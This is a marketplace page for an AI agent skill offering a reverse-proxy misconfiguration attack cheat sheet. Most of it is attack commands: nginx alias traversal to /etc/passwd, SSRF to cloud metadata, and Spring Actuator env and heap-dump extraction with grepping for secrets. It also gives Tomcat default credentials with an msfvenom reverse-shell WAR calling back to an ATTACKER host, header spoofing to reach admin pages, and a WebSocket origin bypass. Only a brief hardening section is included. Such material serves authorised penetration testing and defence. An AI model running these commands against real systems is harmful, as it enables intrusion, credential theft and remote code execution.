# Proxy Misconfig

> Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.

- Skill: `purpleailab/proxy-misconfig` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/proxy-misconfig`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/proxy-misconfig/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/proxy-misconfig

---


# Reverse Proxy Misconfigurations

## 1. Nginx alias traversal
Nginx `alias` directive (vs `root`) is dangerous when URL pattern is
prefix-based but alias is a directory:
```nginx
location /static {
    alias /var/www/static/;       # trailing slash CRITICAL
}
# But buggy:
location /static {
    alias /var/www/static;        # NO trailing slash → path traversal possible
}
```

Bypass:
```
GET /static../etc/passwd  → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../  → directory listing if autoindex on
```

## 2. Apache mod_rewrite SSRF
```apache
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF
```

## 3. Spring Boot Actuator exposure
```bash
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env       # all env vars including secrets
curl $TARGET/actuator/heapdump  # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings  # all routes
curl $TARGET/actuator/loggers   # logging config
curl $TARGET/actuator/jolokia/  # JMX bridge → RCE in many configs

# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
```

## 4. Tomcat Manager
```bash
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager

# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/"   # triggers shell
```

## 5. IIS short-name disclosure (8.3 names)
```bash
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
```

## 6. Nginx merge_slashes off + URL encoded
```bash
GET /api//../../admin   # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin   # URL-encoded traversal
```

## 7. Header injection via X-Forwarded-*
Some apps trust `X-Forwarded-For`/`X-Real-IP` from reverse proxy and use
it for auth (admin from internal IP). If proxy doesn't strip incoming headers:
```bash
curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin
```

## 8. WebSocket Origin bypass via proxy
Proxy doesn't validate WebSocket Origin → attacker-origin can connect.
```bash
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
```

## 9. HTTP/2 specific attacks
Some proxies have h2 → h1 downgrade bugs (smuggling). See
`skills/exploit/web/smuggling.md`.

## 10. Tools
- **Nuclei templates** for actuator/manager/admin discovery
- **JFrog actuator scanner**
- **shortscan** for IIS 8.3
- **smuggler.py** for h2 → h1
- **trustedheaders** for header injection

## PoC pattern
```bash
# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head
```

## Severity

| Bug | Severity |
|---|---|
| Actuator `/env` w/ secrets visible | Critical 9.8 |
| Tomcat manager default-creds | Critical 9.8 (RCE) |
| Nginx alias → /etc/passwd | High 8.0 |
| Apache mod_rewrite SSRF → metadata | Critical 9.0 |
| IIS short-name disclosure | Medium 4-5 |
| X-Forwarded-For trust → admin | Critical 9.8 |

## Defender
```nginx
# nginx — always trailing slash on alias
location /static/ {
    alias /var/www/static/;
}

# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8;     # only trust internal
real_ip_recursive on;
```

Spring Boot:
```yaml
management:
  endpoints:
    web:
      exposure:
        include: health, info         # never *
  endpoint:
    env:
      enabled: false
    heapdump:
      enabled: false
```

## Cross-references
- Upstream: `skills/_corpus/payloads/Reverse Proxy Misconfigurations/` + `Insecure Management Interface/`
- SSRF chain: `skills/exploit/web/ssrf.md`
- HTTP smuggling: `skills/exploit/web/smuggling.md`